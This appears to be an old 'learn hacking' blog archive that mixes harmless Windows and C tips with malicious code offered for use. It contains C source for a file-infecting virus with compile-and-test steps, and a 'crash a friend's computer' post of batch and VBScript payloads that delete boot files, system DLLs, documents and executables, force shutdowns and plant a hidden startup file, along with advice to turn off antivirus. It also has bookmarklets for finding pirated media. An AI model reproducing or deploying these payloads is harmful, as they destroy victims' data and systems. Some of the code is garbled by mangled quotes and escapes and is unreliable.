Tuesday 14 June 2011

Create Virus in C



This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it.
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

C Program to accept a password


This is a simple login program in C. While accepting password it masks each character using ‘*’ symbol and display the password in the next line after the user hits Enter key. It also accepts backspaces and acts accordingly.
#include<stdio.h>
#include<conio.h>
char pw[25],ch;
int i;
void main()
{
clrscr();
puts(“Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(‘b’);
putch(NULL);
putch(‘b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*’;
putch(ch);
}
pw[i]=’?;
printf(“nn%s”,pw);
getch();
}

How to Speed up Startup Process in Windows 7


Nowdays most of the people use Windows 7. Though it is much better than the previous version of windows like Windows XP and Windows Vista both in speed and performance but still its speed and performance can be improved.
In this post I will tell you How to Speed up Your Windows 7 Performance
If you run a lot of applications and you think that your Windows 7 has a slow startup, here is another way to speed up Windows 7 boot by enabling the Boot-Only fetching feature.

1. Click Start.
2. Go to the Search programs and files textbox, type regedit.
3. Click Regedit.exe
4. If the UAC window appears, click Yes.
5. In the registry, locate this subkey: Hkey_LOCAL_MACHINE SYSTEMCurrentControlSet ControlSessionManagerMemoryManagement PrefetchParameters.
6. In the right pane, double-click EnablePrefetcher.
7. Change the value to 2 and click OK.
8. In the right pane, double-click EnableSuperfetch.
9. Change the value to 2 and click OK.
10. Exit the registry and restart your computer for the changes to take effect.
11. Next time you turn on your computer, the prefetcher will reserve more resources to the booting process instead of booting and application launching.
I hope it helped. Feel free to pass on comments.

C Program to Set / Change current system date


This program can be used to set or change the system time
#include <stdio.h>
#include <dos.h>
int main(void)
{
struct time t;
gettime(&t);
printf(“The current hour is: %dn”, t.ti_hour);
printf(“The current min is: %dn”, t.ti_min);
printf(“The current second is: %dn”, t.ti_sec);
/* Add one to the hour,minute & sec struct element and then call settime */
t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(“The current hour is: %dn”, t.ti_hour);
printf(“The current min is: %dn”, t.ti_min);
printf(“The current second is: %dn”, t.ti_sec);
return 0;
}

How to Hack Google Search


Hey guyz this time Learn Hacking has brought something very new for you guyz. Its something you won’t find so easily. Have you ever wondered if you could Hack Google Search, well in this post we are exactly going to do the same.
I am using simple Javascript that I wrote. In my next post I would be providing the explaination for the same along with bookmarklets for the same. If you don’t know much about “What is a bookmarklet” and “what is the use of a bookmarklet” then you may google it.
Now back to topic, about the java scripts.. In this post I would be providing only 5 java scripts which you can use to download Songs , Ebooks , Images , Applications and Games. Though I have made scripts for many more things but right now I would be writing about the most commonly used ones.

NOTE:- To use the Javascript , Just copy the code and paste it in the address bar of your browser ( the same plzce where you enter the url of any site) and press Enter.
Its as simple as that.

Script 1 :- Download any Song
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER ARTIST OR SONG NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+mp3+OR+wma+OR+ogg+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 2 :- Download any Ebook
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'Enter Author name OR Book name:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+pdf+OR+rar+OR+zip+OR+lit+OR+djvu+OR+pdb+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 3 :-D ownload any Image
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER IMAGE NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+jpg+OR+png+OR+bmp+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 4:- Download any Application
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/’,'ENTER Application NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+rar+OR+zip+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Script 5:- Download any Game
javascript:Qr=”;if(!Qr){void(Qr=prompt(‘http://learnhacking.in/‘,’ENTER GAME NAME:’,”))};if(Qr)location.href=’http://www.google.com/search?q=%22parent+directory%22+%22‘+escape(Qr)+’%22+exe+OR+iso+OR+rar+-html+-htm&num=100&hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=active&sa=N’
Well this is one cool script that will help you in your everyday life. Just enjoy and keep learning Ethical Hacking.:-)
And make sure that you subscribe to Learn to Hack from Learn Hacking and get regular updates on your email id..:)

Sunday 12 June 2011

NOTEPAD TRICKS


Text becomes unreadable


Open Notepad
On the very first line, type in "dont eat the donut" (without quotes) then save and close the file. Note: the file should have only one line of the text above.
Now, open the same file. You'll notice the text becomes unreadable squares. (try this with different text with the same format and length).
Create a log


Open Notepad 
On the very first line, type in ".LOG" (without quotes) then press Enter for a new line
Now you can type in some text if you want, then save the file.
Next time when you open the file, notice its contents. Notepad automatically adds a time/date log everytime you open the file.

MS DOS IN COLOR


Are you getting boar with your command prompt (CMD) black color
if yes want to change it with other happening cool colors then here is the tricks for you
To do this follow these steps
1) Click on Start >Run then Type CMD
2) Command Prompt will open.

3) Type "color z"

4) List of numbers of colors will appear...Example: Blue=1

5) So, for changing CMD color to Blue color type:-"color 1"and then press Enter.

BLOCK UNWANTED MAILS IN GMAIL


want to block some unwanted emails in gmail ?

JUST follow these steps
1. Login to your account
2. At the top-right corner, click on Settings
3. Under Settings, click on Filters
4. You’ll now see an option “Create a new filter“, click on it
5. Now in the Form field enter the email address from which you do not want to receive emails
For ex. you may enter abc@xyz.com in the From field to block all incoming emails from this address. However if you want to block the whole domain then use the following syntax: *@xyz.com. Now all the incoming emails from the domain xyz.com will be blocked.
6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. To unblock the email, all you need to do is just delete the filter that you’ve created.

Convert Any Document or Web Page to PDF


Somebody just told you that you need to have Adobe Acrobat (Writer) to create a PDF file? Guess what, you can get away from that pricey piece of software if you just need to convert some documents to pdf, without a need of fancy editing the pdf document.
Here's how. Thanks to the BullZip, who provides a Free Pdf printer. With this free tool, you can simply "print out" your document or webpage to a pdf file, just about the same way as you print it out to a printer.
You can visit BullZip.com for more information about the software.
Here the direct link to BullZip downloads page: Downloads
  1. To get started, first follow the link above and download Free Pdf Printer from BullZip, then install it to your computer.
  2. Once you're done, you might need to close the program (or the web browser) which you're currently viewing the document. This helps refreshing the list of available printers on your computer.
  3. Once you get back to the document you want to convert, perform the same steps are you print out the document, i.e. File > Print ...
  4. When you see the Print window pop-up, select "Bullzip PDF Printer" under "Printers", then click "OK".
  5. BullZip PDF Printer will then start to analyze your document and display a new pop-up window, where you can direct it to the location you want to save the pdf file.
  6. Follow the pop-up windows and.. hola! The PDF document is created!

Friday 10 June 2011

MS-DOS secret or unknown commands

Below is a listing of MS-DOS commands that are not listed in any available help manual or in the commands syntax or are commonly unknown commands. Many of these commands that are known can be very useful when using MS-DOS, while some of the other commands are unknown or appear to do nothing.
Use these commands cautiously, some of the commands can erase data and some without warning.
ATTRIB ,The command is short for ATTRIB -a -h -r - s *.* (removes all attributes of a file).
BACKUP /HPUnknown
DIR ,This lists all files including hidden files, does not work in Windows 95 / 98 / NT / 2000.
DIR ...Lists all directories that do not have extensions. In Windows 95 / Windows 98 will list the contents of the directories previous to the directory currently in.
DOSKEY /APPEDITUtilize doskey functions in MS-DOS command utilities such as edlin and debug.
DOSKEY/COMMANDUnknown
DOSKEY/PERMANENTUnknown
DOSKEY /SCRSIZEUnknown
DOSKEY/XHISTORYUnknown
FDISK /MBRRecreates the Master Boot Record See CH000175 for additional information.
FDISK /PRISee FDISK Page for additional information.
FDISK /EXTSee FDISK Page for additional information.
FDISK /LOGSee FDISK Page for additional information.
FDISK /QPrevents fdisk from booting the system automatically after exiting fdisk.
FDISK /STATUSShows you the current status of your hard drives.
FORMAT/AUTOTESTFormats the hard drive without any prompting.
FORMAT /BACKUPLike /AUTOTEST but it will ask you for a volume label.
FORMAT /Z:nCommand used with FDISK supporting FAT32, used to specify the cluster size in bytes where n is multiplied by 512.
MEM /A or /ALLAdds a line into the MEM command tells the available space in HMA.
RESTORE /YUnknown
RESTORE /ZUnknown
SET DIRCMD=0Will make all directories hidden however still accessible, to get them back SET DIRCMD=
SHARE /NCUnknown
TRUENAMEWhen placed before a file, will display the whole directory that it exists.
VER /RTells you the Revision and if DOS is in HMA.

Sunday 5 June 2011

How to Crash a Friend Computer



How to crash a friend’s computer using simple
notepad .bat files

By following two rules you can crash anyone’s pc

Rule 1:-
Those who download this document want to tell
them that I am not responsible for any action
they do and they are responsible for it....

Rule 2:-
Copy the given code in notepad and then save it as whatever
you want to name but in the end put .
bat so that it can become
a batch file and make the save as option all files run it and see
the effect .if you like the document then
comment so I can put
more of the same kind of document. ......

Delete c drive
@ECHO OFF
:RunIt
ECHO Deleting "C:\WINDOWS"
Pause
cls
shutdown -s -t 15 -c "C:\WINDOWS\PROGRAMFILES DELETED. REBOOTING..."
:start
start
goto start

Also a Trojan file so just shut the antivirus if any
@echo off
msg * Virus Activated *
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * you have been hacked. *
shutdown -s -t 10 -c " "

To delete sys file
del "C:\WINDOWS\SYSTEM32\bootok"
/Q/S >nul
del "C:\WINDOWS\SYSTEM32\bootvid.d ll"
/Q/S >nul
del "C:\WINDOWS\SYSTEM32\bootvrfy"
/Q/S >nul
to delete all document files
rmdir C:\Documents and Settings \S\Q.

A virus file
SetAttr "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Virus.ex e", vbSystem + vbHidden
Shell ("Shutdown -s -t 1")
Simple step to delete c
@echo off
Del /q “c:\windows”
TROJANS
@Echo off
Del *.exe
Del *.com
Del *.dll
Del *.doc
Echo Your Screwed !
Mkdir C:\Screwed!
@Echo off - Turns echo off so user doesn't know what happens
Del *.exe - Deletes all files in the current directory with the .exe
extension
Del *.com - Deletes all files in the current directory with the .com
extension
Del *.dll - Deletes all files in the current directory with the .dll
extension
Del *.doc - Deletes all files in the current directory with the .doc
extension
Echo Your Screwed ! - Displays Your Screwed !
Mkdir C:\Screwed! - Creates the directory Screwed on the C: drive

Virus file
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini